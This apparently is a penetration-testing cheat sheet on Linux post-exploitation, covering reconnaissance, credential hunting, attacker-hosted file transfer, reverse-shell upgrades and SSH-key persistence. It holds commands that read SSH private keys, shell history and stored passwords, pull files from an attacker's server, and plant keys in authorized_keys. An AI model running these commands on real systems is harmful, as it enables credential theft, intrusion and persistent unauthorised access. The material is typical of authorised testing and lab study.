> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Linux Post Exploitation

## Situational Awareness

Get your bearings immediately after landing a shell: know what you're on, who you are, and what network you can reach before doing anything else.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
whoami; id
hostname; uname -a
ip a; ip route
cat /etc/hosts
ps aux
env
```

## Credential Hunting

Config files, shell history, and SSH keys are the highest-yield targets: grep broadly and follow the trail.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat ~/.bash_history
cat ~/.ssh/id_rsa
find / -name "id_rsa" 2>/dev/null
grep -r "password" /var/www/html/ 2>/dev/null
```

## File Transfer

Stand up a quick HTTP server on the attacker machine and pull files down with wget or curl: works in almost every environment.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
python3 -m http.server 8080
wget http://<IP>:8080/file
curl http://<IP>:8080/file -o file
```

## Shell Upgrade

Raw netcat shells are fragile: upgrade to a full PTY immediately so you get job control, tab completion, and proper signal handling.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL+Z
stty raw -echo; fg
export TERM=xterm
```

## SUID Failures in Reverse Shells

Some privesc paths look valid but silently do nothing through a reverse shell. Two mechanisms cause this.

**No TTY.** A reverse shell is a raw I/O tunnel with no TTY device. SUID binaries, `sudo`, and PAM-based auth require a proper TTY to grant elevated privileges. Without one, they silently drop the privilege with no error.

**PR\_SET\_NO\_NEW\_PRIVS.** If your shell was spawned through a web server like Apache, it likely inherited this kernel flag:

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
apache  (PR_SET_NO_NEW_PRIVS=1)
  └── web shell
        └── reverse shell  (inherits no-new-privs)
```

It's a one-way flag: once set, every child process inherits it and it cannot be unset. The kernel ignores `setuid` bits and blocks any execve-based privilege gain for the entire lineage. PATH hijacks and SUID binaries both fail silently.

**Fix:** inject your public key into the target user's `~/.ssh/authorized_keys` and SSH in. You get a clean TTY with no inherited restrictions, and the same privesc path that failed before will work.